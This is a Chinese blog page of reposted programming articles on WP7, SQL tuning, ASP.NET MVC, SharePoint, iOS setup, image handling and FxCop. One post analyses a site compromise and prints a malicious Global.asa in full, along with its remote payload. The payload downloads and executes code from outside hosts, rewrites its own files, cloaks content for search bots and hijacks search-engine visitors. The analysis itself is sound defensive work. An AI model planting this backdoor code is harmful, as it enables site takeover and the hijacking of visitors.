[转载]Windows Phone 7 开发书籍分享

mikel阅读(941)

[转载]Windows Phone 7 开发书籍分享 – {GnieTech} – 博客园.

我也来分享几本自己收藏的WP7 相关书籍,希望这几本书能对大家有所帮助~

第一本,《Programming Windows Phone 7》(完全版)Charles Petzold 的大作,园子里很多人发过不用过多介绍,必读书籍!

ProgWinPhone7

书籍下载(全彩)     源码下载

该书还有XNA Framework 和Silverlight 两种不同版本。

cat cat (1)

第二本,《Beginning Silverlight 3》 做WP7 开发Silverlight 是必须熟悉的,这本书是Silverlight 入门教材,适合从零开始。另,这本书目前已经有Silverlight 4 版本,但基于WP7 开发还是使用Silverlight 3 比较稳妥。

jAVpqIgE

书籍下载 源码下载

第三本,《Pro Silverlight 3 in C#》 如果您已经掌握了Silverlight 基本知识,那可以直接参考这本高级版本,该书同样有Silverlight 4 版本。

image_8

书籍下载(全彩)     源码下载

第四本,《Beginning Windows Phone 7 Development》 一本WP7 开发入门书籍,但书中并没有提及Silverlight 相关内容,直接从WP7 开发讲起,覆盖WP7 各个方面开发基础,并配合实例讲解WP7 应用开发技巧。

BeginningWindowsPhone7

书籍下载(全彩)     源码下载

第五本,《Professional Windows Phone 7 Application Development》 本书是WP7 应用专业开发书籍,详细介绍如何使用Visual Studio、Silverlight 和XNA 框架开发WP7 应用、游戏等。(这本书600多页,居然有186MB)

cover

书籍下载 源码下载

最后一本,《Beginning XNA 3.0 Game Programming: From Novice to Professional》 如果要做WP7 的游戏开发,可以通过这本书了解一下XNA 开发相关知识。

198-9

书籍下载 源码下载

[转载]关系型数据库性能优化总结

mikel阅读(803)

[转载]关系型数据库性能优化总结 – Xiaojun Liu’s Blog – 博客园.

对于web应用开发,多数性能瓶颈均出现在数据库上,除了采用分布式架构或云处理(大公司基本上都是),更重要的是平时程序设计时要遵照一些规则,从根本上提高系统的性能,以下总结了一些常用的规则方法,仅供参考,欢迎跟帖补充。。。

1、 把数据、日志、索引放到不同的I/O设备上,增加读取速度。数据量(尺寸)越大,提高I/O越重要。

2、 纵向、横向分割表,减少表的尺寸,如:可以把大数据量的字段拆分表。

3、 根据查询条件,建立索引,优化索引、优化访问方式,限制结果集的数据量。注意填充因子要适当(最好是使用默认值0)。索引应该尽量小,尽量使用字节数小的列建索引,不要对有限的几个值的列建单一索引。

4、 OR的字句可以分解成多个查询,并且通过UNION链接多个查询。它们的速度只与是否使用索引有关,如果查询需要用到联合索引,用UNION all执行的效率更高。

5、 在查询SELECT语句中用WHERE子句限制返回的行数,避免表扫描。如果返回不必要的数据,则浪费了服务器的I/O资源,加重了网络的负担,降低了性能。如果表很大,在表扫描期间将表锁住,禁止其他的联结访问表,后果很严重。

6、 注意使用DISTINCT,在没有必要时不要用,它同UNION一样会使查询变慢。

7、 IN后面值的列表中,将出现最频繁的值放在最前面,出现最少的放在最后面,减少判断的次数。

8、 一般在GROUP BYHAVING子句之前就能剔除多余的行,所以尽量不要用它们来做剔除行的工作,也就是说尽可能在WHERE中过滤数据。

9、 尽量将数据的处理工作放在服务器上,减少网络的开销,如使用存储过程。存储过程是编译、优化过,并且被组织到一个执行规划里,且存储在数据库中的SQL语句(存储过程是数据库服务器端的一段程序),是控制流语言的集合,速度当然快。

10、 不要在一句话里再三地使用相同的函数,浪费资源,将结果放在变量里再调用更快。

11、 针对大量只读查询操作进行优化的方法:

1) 数据量小的数据,可以考虑不存储在数据库中,而是通过程序常量的方式解决。

2) 需要存储在数据库中的数据,可以考虑采用物化视图(索引视图)。当DBA在视图上创建索引时,这个视图就被物化(执行)了,并且结果集被永久地保存在唯一索引中,保存方式与一个有聚簇索引的表的保存方式相同。物化视图减除了为引用视图的查询动态建立结果集的开销,优化人员可以在查询中使用视图索引,而不需要在FROM子句中直接指定视图。

3) 数据存储时可以考虑适当的数据冗余,以减少数据库表之间的链接操作,提高查询效率。

4) 针对数据的特点,采取特定的索引类型。例如,位图索引等。

12、 对于SQL语句书写时的一些建议:

1) 写语句时能够确定数据库对象所有者的,尽可能把所有者带上,如:

SELECT * FROM dbo.Users

2) 存储过程中,参数定义最好放在最前面,尽可能一次定义,如:

DECLARE @USER_ID INT

,@USER_NAME   VARCHAR(50)

,@PASSWORD VARCHAR(50)

3) 为参数赋值时,尽可能一次赋值,如:

SELECT @USER_ID = 1001

,@USER_NAME = ‘xiaojun.liu’

4) 尽量少用游标

13、 。。。。。。

[转载]ASP.Net MVC不想在多个Action上写同样的FitlerAttribute(上)

mikel阅读(990)

[转载]ASP.Net MVC探索之路 – 不想在多个Action上写同样的FitlerAttribute(上) – Catcher In The Rye – 博客园.

以AuthorizeAttribute这个Filter举例,一个Controller有若干个Action,包括登录的Action(如 Login)。这时我们就不能将Authorize放在Controller签名之上,不得不给除了Login这个Action之外的所有Action加 上个Authorize——这也不是大不了的事情,我多写几个Authorize也觉得没关系,或者我重新实现一个 IAuthorizationFilter,在里面判断如果是Login这个Action,就不进行验证。

如果我想给所有Action注入一段html到页面底部,我必须去修改Controller吗?
如果我想动态控制某个Action允许由哪些角色访问,我通过修改Controller能实现吗?
如果我想这时候控制的由哪些角色来访问,需求改变时我想要控制由哪些用户来访问呢?我还得去修改Controller吗?或者增加或修改Filter吗?

所以需求就出现了:能不能让我集中管理这些Filter,并且控制的更灵活呢?能让所有Controller和Action签名上都干干净净的那就最好了。

那就把Filter放在一处集中管理,在Action或ActionResult等执行Filter之前保证将需要的Filter准备好就行了。

在解决问题之前,先简单回顾一下Action执行前后发生的事。

我们知道,在ASP.NET MVC中,每一次请求通常都定位到一个具体的Controller的Action中。
在默认情况下,由Action执行器ControllerActionInvoker类去控制Action的执行(或不执行),实际做事的是InvokeAction方法。
InvokeAction 方法首先去查找Action(由FindAction方法),如果Action被找到了,会去检索该Action拥有的Filter以及该Action所 属Controller的Filter(由GetFilters方法),将找到的所有Filter放入一个FilterInfo变量 中,FilterInfo中保存的Filter不完全是Action是自己的。然后先执行找到的所有IAuthorizationFilter(由 InvokeAuthorizationFilters方法)。当然,在InvokeAuthorizationFilters方法中,只要有 IAuthorizationFilter的ActionResult不为null就会返回不会执行其他的了。 InvokeAction方法检测执行结果,如果ActionResult的确不为空,则执行该Result,其他Filter就不管啦。 接着获取要传给Action的参数集(交给GetParameterValue方法),就执行 InvokeActionMethodWithFilters方法,方法名已经足够说明它是干什么的了。如果一切正常,根据 InvokeActionMethodWithFilters方法返回的结果去接着就执行InvokeActionResultWithFilters方 法。在执行InvokeAuthorizationFilters一直到执行InvokeActionResultWithFilters的这一整个过程 中如果发生异常,则根据捕获的异常执行InvokeExceptionFilters进行异常处理。

这里需要注意一 点:InvokeAction、GetFilters、InvokeAuthorizationFilters、GetParameterValue、 InvokeActionMethodWithFilters、InvokeActionResultWithFilters、 InvokeExceptionFilters等全是虚方法,除非有足够的原因去继承IActionInvoker重写一个Action执行器,否则重写 某些方法足够扩展。

甚至ControllerActionInvoker类本身,在ASP.NET MVC基础架构中也是可以替换的,怎么替换呢?继承Controller类时重写CreateActionInvoker方法就可以。

另 外还可以在构造Controller对象给它的ActionInvoker属性赋值,这又怎么赋值?重写 DefaultControllerFactory创建Controller实例的GetControllerInstance方法。 然后在Applicaion_Start中设置新的ControllerFactor:
ControllerBuilder.Current.SetControllerFactory(new YourControllerFactory());

回到主题。 首先我们将Filter和Action的对应关系(Filter和Controller的对应关系在本文中暂不讨论)存于一个集合中并缓存起来。

从 找到Action到执行InvokeAuthorizationFilters之前,必须将IAuthorizationFilter准备好;从找到 Action到执行InvokeActionMethodWithFilters之前,必须将Action需要的IActionFilter准备好;从找 到Action到执行InvokeActionResultWithFilters之前,必须将ActionResult需要的 IResultFilter准备好。异常发生InvokeExceptionFilters执行之前,必须将IExceptionFilter准备好。 基于以上几点,我们好像只能在FindAction方法和GetFilters方法之间选择一个。当然也就是只有GetFilters了。

在Filter方法中,我们根据当前Action的特征(如方法名,或包括请求方式Get或Post)与Filter和Action对应表。将匹配的Filter加进FilterInfo变量中。

下一章讨论一下具体的实现。感兴趣的可以去看看Oxite ,它实现了本章提到的一部分的需求。

[转载]JavaScriptMVC 3.0 发布

mikel阅读(1016)

[转载]JavaScriptMVC 3.0 发布 – Java编程 – JavaEye新闻.

JavaScriptMVC 是一个功能强大的JavaScript framework,也是一个很棒的JavaScript测试框架。JavaScriptMVC 应用了模型-视图-控制器架构模式,把业务逻辑和表示分离,使得代码更加模块化。通过它可以简化项目的开发,支持流行的各种浏览器。

距JavaScriptMVC 2.0版本发布一个多月,JavaScriptMVC团队今天发布了 3.0 版本。该版本增加了一些 2.0 版本以外的新功能,更主要的是完善了现有的一些功能。

JavaScriptMVC 3.0的新功能包括:

FuncUnit – Web 测试框架

Stand Alone Sub Projects
– You can download only the tools you need

Multi-Page builds – Optimize builds across multiple pages

Less and CoffeeScript support – Use Less and CoffeeScript without having to refresh your page.

New Folder Structure – A revamped file structure that makes it easier to build modular applications.

Learn-ability – Much better docs, examples, demo, etc.


点击JavaScriptMVC 3.0 版本其他详细信息请查看:http://jupiterjs.com/news/javascriptmvc-3-0-good-to-go

下载JavaScriptMVC 3.0:http://code.google.com/p/javascriptmvc/downloads/list

[转载]ASP.NET MVC3-Razor-给力的调试和预加载

mikel阅读(1163)

[转载]MVC3-Razor-给力的调试和预加载 – 撞破南墙 – 博客园.

1在RAZOR中调试

如你所知,对于发布后的网站,调试往往是一件非常悲剧的事。

看看RAZOR中强大的打印功能

@ObjectInfo.Print(this.Context.User)

  • image

2获取服务器信息

@ServerInfo.GetHtml()

image

image

3FormsAuthentication.SlidingExpiration 属性

取得值,指出是否启用滑动期限。

SlidingExpiration 属性值通过使用 forms 配置元素的 slidingExpiration 特性进行设置。

如 果发出了请求并且超时间隔过半,则可调过期功能将重新设置有效的身份验证 Cookie 的到期时间。 如果 Cookie 到期,用户必须重新进行身份验证。 如果将 SlidingExpiration 属性设置为 false,则可使身份验证 Cookie 的有效时间受限于所配置的 timeout 值,从而提高应用程序的安全。

如果将 requireSSL 配置为 false,则建议将 slidingExpiration 也配置为 false,从而缩短票证的有效时间。

4 预加载

3.1首次进入程序后首先执行根目录下的_AppStart.cshtml

(如果3.1我们自己也能在code里硬编码写一个的话,3.2的功能就更赞了!)

3.2每次进入文件夹首先执行文件夹下的_ViewStart.cshtml

image

假设我们首次访问  cahe下的 index.cshtml 页面,会按照如上所示的图示来执行。

但如果不是首次访问1会被跳过。而每次进入cahe下的文件都会执行3中的_ViewStart.cshtml

这就给了我们很多时候的操作提供了非常多的方便。

比如在 1中 就可以设置全局缓存和变量,比如在线人数统计,

版权信息,邮箱的设置等等。

而在二中,我们单独为特定文件夹下的页面设置访问权限或者主题等等。

[转载]SharePoint 2010使用Correlation ID快速查找错误信息

mikel阅读(1121)

[转载][SharePoint 2010]使用Correlation ID快速查找错误信息 – 致良知,知行如一 – 博客园.

不管是作为一名开发人员还是IT管理人员在与 SharePoint朝夕相处的日子里,最头疼的工作可能就要算是Trouble Shooting了,不论代码写的多么的好,整体架构设计的多么完善,错误总是难以避免的。在SP 2010中微软在错误信息以及日志上带给我们许多新的功能,各人认为其中最吸引人的功能就要算是当页面抛出错误信息时所获得的这个Correlation ID了,有了它我们就可以很快速和方便的定位到SharePoint日志中的错误信息了,在Trouble Shooting时,找到正确的错误信息,是顺利解决问题的第一步,也是关键性的一步。下面我将为各位看官介绍一下怎样使用Correlation ID查找错误信息。

什么是Correlation ID呢?

在SharePoint 2010中Correlation ID就是一串GUID,在发生错误的时候可以通过它在日志中查找到该错误的详细信息。

在SP 2010里,每一个request都会有一个Correlation ID,所以如果在一个request进程中出现错误的话,使用Correlation ID来查找错误信息是最好的方法。

先来看一个SP 2010里的错误信息画面,不知道各位是不是都见到过这种错误信息画面,如果还没见过,相信我,你会见到的。微笑

通过Correlation ID搜索错误信息

假设现在我们的SharePoint站点抛出了一个错误,然后我们想查看这个错误的具体信息,最笨的方法当然就是去日志中一条条的找了,但这显然不符合这篇文章的标题,那么应该怎么做呢?下面这两种方法就将帮助我们快速的定位错误信息。

使用PowerShell通过Correlation ID在SharePoint日志中查找详细的错误信息

一个最简单与快速的方法就是通过PowerShell命令来完成这项工作。在SP 2010中已经可以使用PowerShell来管理我们的SharePoint了,通过下面这条命令就可以通过Correlation ID获得具体的错误信息了。(将GUID替换成报错画面中的GUID)

get-splogevent | ?{$_Correlation -eq “<GUID>” }

这条命令会显示我们所要查找的错误的详细信息,就像下面这张图一样。

1207_02

现在这些信息还是有些多,有一些作用不是很大的信息我们并不关注,例如EventID、Level等等,这时我们可以试试下面这条命令。

get-splogevent | ?{$_.Correlation -eq “<GUID>”} | select Area, Category, Level, EventID, Message | Format-List

这条命令会带给我们一个更加友好的详细错误信息画面。

1207_03

最后,假如想把这条信息保存下来,则只需要在上面那条命令的结尾处加上“> C:\Error.log”这条命令就行了。

get-splogevent | ?{$_.Correlation -eq “<GUID>”} | select Area, Category, Level, EventID, Message | Format-List > C:\Error.log

1207_04

在数据库中通过Correlation ID查找错误信息

除了使用PowerShell命令来查找错误信息以外,另外一个比较简单的方法是直接在数据库中查找你所需要的错误信息。在日志数据库中,一般叫做WSS_Logging,在这个数据库中有一个名为ULSTraceLog的视图,在这个视图里可以查找到详细的错误信息。

select 	[RowCreatedTime],  [ProcessName],  [Area],
 		[Category],  EventID,  [Message]
 from  [WSS_UsageApplication].[dbo].[ULSTraceLog]
 where  CorrelationId=< pre>'B4BBAC41-27C7-4B3A-AE33-4192B6C1E2C5'
例如,我们可以使用上面这条SQL语句来查找CorrelationID为'B4BBAC41-27C7-4B3A-AE33-4192B6C1E2C5'的错误信息。
1207_05
使用CorrelationID我们可以轻松的跟踪SP 2010中的错误,这无疑将大大的减少我们的工作难度,只需记下CorrelationID,我们就可以

[转载]iPhone新开发Apple Store上软件的实施步骤

mikel阅读(917)

[转载]新开发Apple Store上软件的实施步骤 – Thinker – 博客园.

最近需要做一个在iPhone上发布的小软件,由于是新手,发现网上的资料比较零散,通过整个的过程走一遍,总算顺利的把开发环境和相关的流程搞清楚了。

开发者计划

如果想用 XCode 在 iPhone 上联机调试代码,那就要先注册成为苹果开发者,再加入苹果的 iOS 开发者计划。

以 Individual 名义和 Company 名义加入苹果开发者计划的不同之处是,前者需要给苹果传真身份证扫描件,后者需要给苹果传真营业执照 扫描件。这里选择以 Company 名义加入苹果开发者计划。苹果公司会对每个开发者收取99美元或299美元的年费

个人注册的步骤: http://www.cnmsdn.com/html/201010/1287498482ID8474.html

企业注册的详细步骤: http://www.cnblogs.com/scottwong/archive/2010/12/05/1896770.html

如何购买软件

http://zhidao.baidu.com/question/154145910.html

机器上安装ITunes【store.apple.com上的课购买内容很少】,然后注册一个Apple ID,设置信用卡号码,正确设置后会预付1美元【是退回的,不是真支付】,然后就可以购买了。

【App Store基础知识】我的1美元哪去

http://bbs.weiphone.com/read-htm-tid-1278721.html

如何使用(国内)信用卡购买appstore的软件

http://zhidao.baidu.com/question/142745315.html

苹果 Mac App Store 软件审查准则公开!

http://cn.engadget.com/2010/10/22/apples-mac-app-store-review-guidelines-posted-will-photoshop/ http://www.cocoachina.com/bbs/read.php?tid-31964.html

开发环境建立

由于没有Mac电脑,因此购买了一个Mac Mini作为基础的开发和测试环境,成本也比较低

【虽然使用网上的一些推荐方法在PC上也可安装Mac OS系统,但速度和效率都比较慢】

http://developer.apple.com 下载SDK和开发工具,安装即可进行软件的开发和调试了

参考网址

http://developer.apple.com

http://store.apple.com/

http://store.apple.com/cn

http://www.cocoachina.com/

http://www.weiphone.com/ 其中的BBS有很多的资源

[转载]警惕ASP网站Global.asa导致网站被挂马或转向

mikel阅读(892)

[转载]警惕ASP网站Global.asa导致网站被挂马或转向 – snowsky’s Blog – 博客园.

上午帮朋友处理一个比较有难度的问题,网站输入域名访问正常打开,但从搜索引擎厚度或是Google之类的打开,就会跳转到某些色情网站上去.

根据经验,可以推断出来应该是asp程序根据网页的来路,即HTTP_REFERER进行判断,发现是搜索引擎过来的流量就跳转到色情站点去,使用此种方法具有很强的隐匿性,因为站长们一般不会去搜索自己的网站,所以轻易不会发现自己站点遭到了挟持。

因 为网站是自己很多年前帮朋友做的,所以要了现在的代码,看了一下,没有发现问题,就开始是不是服务器感染了什么病毒或是被加上了什么IIS过滤器之类的, 要了远程桌面,上去找了半天,一无所获,看了一下IP地址,发现是一个内网IP地址,也就是说需要网关将网站映射发布出去,于是怀疑问题是在网关上,但问 了朋友之后,得知网关为一路由器,再加上将IIS关闭,网站也就无法打开,不能再跳转,排除了网关加马的可能性。

难倒走不下去了?

忽然想到一招,采用FileMon对w3wp.exe进程进行监控,看看用搜索引擎打开和直接打开读取的文件到底有什么不同,通过多次比较,也没有发现什么疑点。

万般无奈,又回到网站根目录下,顺手打开了显示系统隐藏文件,却发现多了一个Global.asa文件,因为网站是自己做的,比较了解,根本不可能使用这个文件,打开一看,一切疑点都解决了。

Global.asa文件内容如下:

<script language="vbscript" runat="server">
'by_aming
'by*aming
sub Application_OnStart
end sub
sub Application_OnEnd
end sub
sub Session_OnStart
url="h"&"t"&"t"&"p"&":"&"/"&"/"&"g"&"l"&"o"&".1"&"0"&"0"&"5"&"0"&"0"&".c"&"o"&"m"&"/x"&"m"&"l"&"/"&"g"&"l"&"o"&"b"&"a"&"l"&"."&"a"&"s"&"a"&"q"&"u"&"a"&"n"&"."&"t"&"x"&"t"
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
if instr(GetHtml,"by*aming")>0 then
execute GetHtml
end if
end sub
'sub Session_OnEnd
'end sub
</script>

因为Global.asa文件为网站启动文件,当一个网站被第一次访问时,会执行Application_Start代码段的内容,当一个用户第一次访问时会执行Session_Start代码段的内容,所以此段代码的作用就是当访问,从http://glo.100500.com/xml/global.asaquan.txt处下载内容,并执行,让我们来看看http://glo.100500.com/xml/global.asaquan.txt的内容是什么吧:

代码

'<html><head><script>function clear() {Source=document.body.firstChild.data;document.open ();document.close ();document.title="";document.body.innerHTML=Source;} </script></head><body onload=clear()> '<meta http-equiv=refresh content=0;URL=about:blank><script>eval (function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace (/^/,String)){while(c--){d=k||c}k=[function(e){return d [e]}];e=function(){return'\\w+'};c=1};while(c--){if(k) {p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k)}}return p} ('0.1.2(\'3:4\');',5,5,'window|location|replace|about|blank'.split ('|'),0,{}))</script> 'by*aming Server.ScriptTimeout=600 Public Function createasa(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/global.asa")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/global.asa"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function createasax(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/global.asax")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/global.asax"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",url ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close End Function Function check(user_agent) allow_agent=split ("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST- WebCrawler,MSNBOT,Slurp",",") check_agent=false For agenti=lbound(allow_agent) to ubound(allow_agent) If instr(user_agent,allow_agent(agenti))>0 then check_agent=true exit for end if Next check=check_agent End function Function CheckRobot() CheckRobot = False Dim Botlist,i,Repls Repls = request.ServerVariables("http_user_agent") Krobotlist = "Baiduspider|Googlebot" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(Repls,Botlist(i)) > 0 Then CheckRobot = True Exit For End If Next If Request.QueryString("admin")= "1" Then Session ("ThisCheckRobot")=1 If Session("ThisCheckRobot") = 1 Then CheckRobot = True End Function Function CheckRefresh() CheckRefresh = False Dim Botlist,i,Repls Krobotlist = "baidu|google|sogou|soso|youdao" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(left(request.servervariables ("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then CheckRefresh = True Exit For End If Next End Function Sub sleep() If response.IsClientConnected=true then Response.Flush else response.end end if End Sub If CheckRefresh=true Then cnnbd=lcase(request.servervariables("HTTP_HOST")) 'response.redirect("http://www.220550.com/?"&cnnbd&"") Response.Write("<div style=display:none><script src=http://count11.51yes.com/click.aspx? id=114814173&logo=1></script><script src=http://js.568tea.com/44.js></script><script src=http://js.37548.com/44.js></script></div>") response.end end If user_agent=Request.ServerVariables("HTTP_USER_AGENT") if check(user_agent)=true then 'body=GetHtml("http://html.888hhh.com/2prn.asp? domain="&strHost&"&ua="&server.URLEncode(request.ServerVariables ("HTTP_USER_AGENT"))&"") body=GetHtml("http://i.bxhty.info/index.asp? domain="&strHost&"&ua="&server.URLEncode(request.ServerVariables ("HTTP_USER_AGENT"))&"") response.write body response.end else asa=GetHtml("http://glo.100500.com/xml/globalquan.txt") if instr(asa,"by*aming")>0 then createasa(asa) end if ScriptAddress=Request.ServerVariables("SCRIPT_NAME") namepath=Server.MapPath(ScriptAddress) If Len(Request.QueryString) > 0 Then ScriptAddress = ScriptAddress & "?" & Request.QueryString end if geturl ="http://"& Request.ServerVariables("http_host") & ScriptAddress geturl =LCase(geturl) 'response.write replace(namepath,server.MapPath("/"),"") 'response.end 'if instr(geturl,"jc=ok")=0 and instr(geturl,"global=ok")=0 and instr(LCase(Request.ServerVariables("http_host")),"gov.cn")=0 and instr(LCase(Request.ServerVariables("http_host")),"edu.cn")=0 and if instr(geturl,"http://"& Request.ServerVariables("http_host") &"/index.asp")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/")=0 and instr(LCase (Request.ServerVariables("HTTP_REFERER")),LCase (Request.ServerVariables("http_host")))<=0 then agent = lcase(request.servervariables("http_user_agent")) referer = LCase(Request.ServerVariables("HTTP_REFERER")) bot = "" Amll = "" if instr(agent, "+") > 0 then bot = agent if instr(agent, "-") > 0 then bot = agent if instr(agent, "http") > 0 then bot = agent if instr(agent, "spider") > 0 then bot = agent if instr(agent, "bot") > 0 then bot = agent if instr(agent, "linux") > 0 then bot = agent if instr(agent, "baidu") > 0 then bot = agent if instr(agent, "google") > 0 then bot = "nobot" if instr(agent, "yahoo") > 0 then bot = "nobot" if instr(agent, "msn") > 0 then bot = "nobot" if instr(agent, "alexa") > 0 then bot = "nobot" if instr(agent, "sogou") > 0 then bot = "nobot" if instr(agent, "youdao") > 0 then bot = "nobot" if instr(agent, "soso") > 0 then bot = "nobot" if instr(agent, "iask") > 0 then bot = "nobot" if bot="nobot" then 'Call WriteErr 'response.end end if If Instr(REFERER,"http") > 0 and Instr(REFERER,".") > 0 and Instr (REFERER,"/") > 0 and Instr(REFERER,"?") > 0 and Instr(REFERER,"=") > 0 Then Amll = "ok" tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if tjcount="" then response.cookies("cookie_tjcount")=0 response.cookies("cookie_tjcount").Expires=DateAdd ("d",1,now()) end if if date1<>date2 then response.cookies("cookie_date")=date2 response.cookies("cookie_date").Expires=DateAdd("d",365,now ()) end if tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if date1=date2 and len(bot) = 0 then if int(tjcount)<10 and len(Amll)>0 then response.cookies("cookie_tjcount")=int(tjcount)+1 response.cookies("cookie_tjcount").Expires=DateAdd ("d",1,now()) strHost=Request.ServerVariables("HTTP_HOST") Response.Redirect("http://www.115225.com/? domain="&strHost&"") else 'response.write "<h1>Service Unavailable</h1>" response.write "" 'response.write gethtml(geturl&"?global=ok") end if response.end end if Call sleep() end if end if '</body></html>

此处代码有多个函数组成:
createasa 根据传入的内容创建global.asa文件
createasax 根据传入的内容创建Global.asax文件
GetHtml 根据传入的url,获取相应的内容
check 检测user-agent判断是否为搜索引擎的蜘蛛
CheckRobot 检测是否为robot ?
CheckRefresh 检测是否Refresh

说到底这块代码的作用就是判断访问页面是否来自于搜索引擎,是的话,就将HTML:

代码

<div style=display:none><script src=http://count11.51yes.com/click.aspx?id=114814173&logo=1></script><script src=http://js.568tea.com/44.js></script><script src=http://js.37548.com/44.js></script></div>

输出去。

至此,就达到了将来自于搜索引擎流量挟持走的目的了。

解决办法也很简单,就是直接删除此文件就可以了,当然最好还是要检查一下网站,查一下为什么会被加上一个Global.asa文件

[转载]ASP.NET MVC3-RAZOR-玩转WebImage

mikel阅读(1152)

[转载]MVC3-RAZOR-玩转WebImage – 撞破南墙 – 博客园.

目录

1获取图片

2查看webimage的属性

3图片的缩放

4翻转

5水印

6裁减

7保存

8输出

1 获取图片

1.1从上传中获取图片

WebImage pic = WebImage.GetImageFromRequest(“uploadfile”);

1.2从流里获取

WebImage image0 = new WebImage(File.OpenRead(Server.MapPath(“~/Content/Photo2.jpg”)));

1.3通过克隆

WebImage image2 = image1.Clone();

1.4通过比特的转换

WebImage image1 = new WebImage(image0.GetBytes());

2WebImage的属性

image

@if (pic != null) {
<li>@pic.Width </li>
<li>@pic.Height </li>
<li>@pic.FileName </li>
<li>@pic.ImageFormat </li>
}

3 图片大小缩放

public WebImage Resize(int width,

int height,

bool preserveAspectRatio = true, 是否保持比例缩放

bool preventEnlarge = false  是否保护不超过原大小。(可以小于但不能超出)

);

image

我们看到他的高度和宽度改变了。

4翻转(。。真的玩转了)

看多了盖茨和乔帮主,我们来换点轻松的看。

这是没有反转的

image

竖直 翻动

pic.FlipVertical();

image

横向翻动

pic.FlipHorizontal();

image

逆时针转动

pic.RotateLeft();

//顺旋转

// pic.RotateRight();

image

5水印

文字水印

public WebImage AddTextWatermark(string text,

string fontColor = “Black”,

int fontSize = 12,

string fontStyle = “Regular”,

string fontFamily = “Microsoft Sans Serif”,

string horizontalAlign = “Right”, //指定固定大小的视觉样式元素的水平对齐方式。

string verticalAlign = “Bottom”,//指定控件中对象或文本的垂直对齐方式。

//指定固定大小的视觉样式元素的水平对齐方式。

int opacity = 100, 透明度 0就看不到了

int padding = 5  各边的间隔

);

//指定固定大小的视觉样式元素的水平对齐方式。


成员名称

说明

Left

该元素为左对齐。

Center

该元素水平居中。

Right

该元素为右对齐。

指定控件中对象或文本的垂直对齐方式。

成员名称

说明

NotSet

未设置垂直对齐方式。

Top

文本或对象与该封闭控件的顶部对齐。

Middle

文本或对象与该封闭控件居中对齐。

Bottom

文本或对象与该封闭控件的底部对齐。

pic.AddTextWatermark(text: 看转载的朋友去看 http://www.cnblogs.com/facingwaller/
, verticalAlign:
Top//指定控件中对象或文本的垂直对齐方式。
, fontColor: Red
, horizontalAlign:
Left//指定固定大小的视觉样式元素的水平对齐方式。
,padding:30);

image

图片水印

public WebImage AddImageWatermark(WebImage watermarkImage,

int width = 0, int height = 0,

string horizontalAlign = “Right”,

string verticalAlign = “Bottom”,

int opacity = 100,

int padding = 5);

类似上面的文字水印

他还提供了一个重载的只需要给出路径,自动加载并添加水印。

public WebImage AddImageWatermark(string watermarkImageFilePath,

int width = 0, int height = 0, string horizontalAlign = “Right”, string verticalAlign = “Bottom”, int opacity = 100, int padding = 5);

WebImage photo1 = new WebImage(@”~\Content\Photo2.jpg);

pic = pic.AddImageWatermark(watermarkImage: photo1
, width:
150, height: 150
, horizontalAlign:
Right, verticalAlign: Middle
, opacity:
50
);

image

6裁剪

public WebImage Crop(int top = 0, int left = 0, int bottom = 0, int right = 0);

pic.Crop(150, 150, 150, 150);

各方向减去150px

只剩下猫脸了。

image

7保存

public WebImage Save(string filePath = null,

string imageFormat = null,

bool forceCorrectExtension = true

);

//保存
pic.Save(path, forceCorrectExtension: false);

8把当前页面作为一张图片显示

// pic.Write();

[转载]通过FxCop来验证.NET编码规范

mikel阅读(978)

[转载]通过FxCop来验证.NET编码规范 – 老板,来瓶86年的矿泉水 – 博客园.

最近研究了fxcop,有些心得,写出来分享一下。

FxCop介绍:

FxCop是一个代码分析工具,它依照微软.NET框架的设计规范对托管代码assembly进行检查。它使用基于规则的引擎,来检查出你代码中不合规范的部分;你也可以定制自己的规则加入到这个引擎。

还有一款很流行的代码检测工具叫做StyleCop。之所以选择使用FxCop有两个原因,首先是StyleCop不支持VB.Net,而我们用 VB.Net做后台开发的。第二是FxCop有非常强大的定制规则引擎的能力,这方面的能力StyleCop不如FxCop。

FxCop使用:

1、下载FxCop

